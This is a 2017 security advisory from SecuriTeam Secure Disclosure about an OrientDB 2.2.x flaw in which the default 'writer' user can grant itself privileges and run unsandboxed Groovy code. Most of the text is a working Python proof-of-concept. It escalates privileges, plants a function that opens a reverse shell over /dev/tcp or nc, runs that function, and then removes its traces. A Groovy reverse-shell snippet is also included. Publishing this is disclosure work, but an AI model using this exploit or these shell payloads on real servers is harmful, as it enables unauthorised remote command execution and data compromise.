SSD Advisory – OrientDB Code Execution
Credit to Author: SSD / Maor Schwartz| Date: Thu, 13 Jul 2017 06:49:26 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerability Summary
The following advisory reports a vulnerability in OrientDB which allows users of the product to cause it to execute code.
OrientDB is a Distributed Graph Database engine with the flexibility of a Document Database all in one product. The first and best scalable, high-performance, operational NoSQL database.
Credit
An independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
The vendor has released patches to address this vulnerability.
For more information: https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#security.
Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.
The privileges of the users are:
- admin – access to all functions on the database without any limitation
- reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
- writer – same as the ‘reader’, but it can also create, update and delete records
ORole structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.
From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements, this permission requirement is not required and information is returned to unprivileged users.
Example:
The user writer which is created with every database you create. Thus even if the db admin changes the admin user password, an attacker would still be able to get Code Execution with the writer user.
Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.
Sample Groovy function:
Command.md
1 2 3 4 5 6 7 | def command = ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f’ File file = new File(“hello.sh”) file.delete() file << (“#!/bin/bashn”) file << (command) def proc = “bash hello.sh”.execute() |
Proof of Concept
Run Netcat at port 8081
1 | nc –lv 8081 |
Run the following:
1 | python PoC.py ip [port] // By default uses 2480 |
PoC.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 | import sys import requests import json import string import random target = sys.argv[1] try: port = sys.argv[2] if sys.argv[2] else 2480 except: port = 2480 url = “http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph”%(target,port) def random_function_name(size=5, chars=string.ascii_lowercase + string.digits): return ”.join(random.choice(chars) for _ in range(size)) def enum_databases(target,port=“2480”): base_url = “http://%s:%s/listDatabases”%(target,port) req = requests.get(base_url) if req.status_code == 200: #print “[+] Database Enumeration successful” database = req.json()[‘databases’] return database return False def check_version(target,port=“2480”): base_url = “http://%s:%s/listDatabases”%(target,port) req = requests.get(base_url) if req.status_code == 200: headers = req.headers[‘server’] #print headers if “2.2” in headers or “3.” in headers: return True return False def run_queries(permission,db,content=“”): databases = enum_databases(target) url = “http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph”%(target,port,databases[0]) priv_enable = [“create”,“read”,“update”,“execute”,“delete”] #query = “GRANT create ON database.class.ouser TO writer” for priv in priv_enable: if permission == “GRANT”: query = “GRANT %s ON %s TO writer”%(priv,db) else: query = “REVOKE %s ON %s FROM writer”%(priv,db) req = requests.post(url,data=query,auth=(‘writer’,‘writer’)) if req.status_code == 200: pass else: if priv == “execute”: return True return False print “[+] %s”%(content) return True def priv_escalation(target,port=“2480”): print “[+] Checking OrientDB Database version is greater than 2.2” if check_version(target,port): priv1 = run_queries(“GRANT”,“database.class.ouser”,“Privilege Escalation done checking enabling operations on database.function”) priv2 = run_queries(“GRANT”,“database.function”,“Enabled functional operations on database.function”) priv3 = run_queries(“GRANT”,“database.systemclusters”,“Enabling access to system clusters”) if priv1 and priv2 and priv3: return True return False def exploit(target,port=“2480”): #query = ‘”@class”:”ofunction”,”@version”:0,”@rid”:”#-1:-1″,”idempotent”:null,”name”:”most”,”language”:”groovy”,”code”:”def command = ‘bash -i >& /dev/tcp/0.0.0.0/8081 0>&1′;File file = new File(“hello.sh”);file.delete();file << (“#!/bin/bash\n”);file << (command);def proc = “bash hello.sh”.execute(); “,”parameters”:null’ #query = {“@class”:”ofunction”,”@version”:0,”@rid”:”#-1:-1″,”idempotent”:None,”name”:”ost”,”language”:”groovy”,”code”:”def command = ‘whoami’;File file = new File(“hello.sh”);file.delete();file << (“#!/bin/bash\n”);file << (command);def proc = “bash hello.sh”.execute(); “,”parameters”:None} func_name = random_function_name() print func_name databases = enum_databases(target) reverse_ip = raw_input(‘Enter the ip to connect back: ‘) query = ‘{“@class”:”ofunction”,”@version”:0,”@rid”:”#-1:-1″,”idempotent”:null,”name”:”‘+func_name+‘”,”language”:”groovy”,”code”:”def command = ‘bash -i >& /dev/tcp/’+reverse_ip+‘/8081 0>&1′;File file = new File(\”hello.sh\”);file.delete();file << (\”#!/bin/bash\\n\”);file << (command);def proc = \”bash hello.sh\”.execute();”,”parameters”:null}’ #query = ‘{“@class”:”ofunction”,”@version”:0,”@rid”:”#-1:-1″,”idempotent”:null,”name”:”‘+func_name+'”,”language”:”groovy”,”code”:”def command = ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f’ u000a File file = new File(“hello.sh”)u000a file.delete() u000a file << (“#!/bin/bash”)u000a file << (command)n def proc = “bash hello.sh”.execute() “,”parameters”:null}’ #query = {“@class”:”ofunction”,”@version”:0,”@rid”:”#-1:-1″,”idempotent”:None,”name”:”lllasd”,”language”:”groovy”,”code”:”def command = ‘bash -i >& /dev/tcp/0.0.0.0/8081 0>&1’;File file = new File(“hello.sh”);file.delete();file << (“#!/bin/bash\n”);file << (command);def proc = “bash hello.sh”.execute();”,”parameters”:None} req = requests.post(“http://%s:%s/document/%s/-1:-1”%(target,port,databases[0]),data=query,auth=(‘writer’,‘writer’)) if req.status_code == 201: #print req.status_code #print req.json() func_id = req.json()[‘@rid’].strip(“#”) #print func_id print “[+] Exploitation successful, get ready for your shell.Executing %s”%(func_name) req = requests.post(“http://%s:%s/function/%s/%s”%(target,port,databases[0],func_name),auth=(‘writer’,‘writer’)) #print req.status_code #print req.text if req.status_code == 200: print “[+] Open netcat at port 8081..” else: print “[+] Exploitation failed at last step, try running the script again.” print req.status_code print req.text #print “[+] Deleting traces..” req = requests.delete(“http://%s:%s/document/%s/%s”%(target,port,databases[0],func_id),auth=(‘writer’,‘writer’)) priv1 = run_queries(“REVOKE”,“database.class.ouser”,“Cleaning Up..database.class.ouser”) priv2 = run_queries(“REVOKE”,“database.function”,“Cleaning Up..database.function”) priv3 = run_queries(“REVOKE”,“database.systemclusters”,“Cleaning Up..database.systemclusters”) #print req.status_code #print req.text def main(): target = sys.argv[1] #port = sys.argv[1] if sys.argv[1] else 2480 try: port = sys.argv[2] if sys.argv[2] else 2480 #print port except: port = 2480 if priv_escalation(target,port): exploit(target,port) else: print “[+] Target not vulnerable” main() |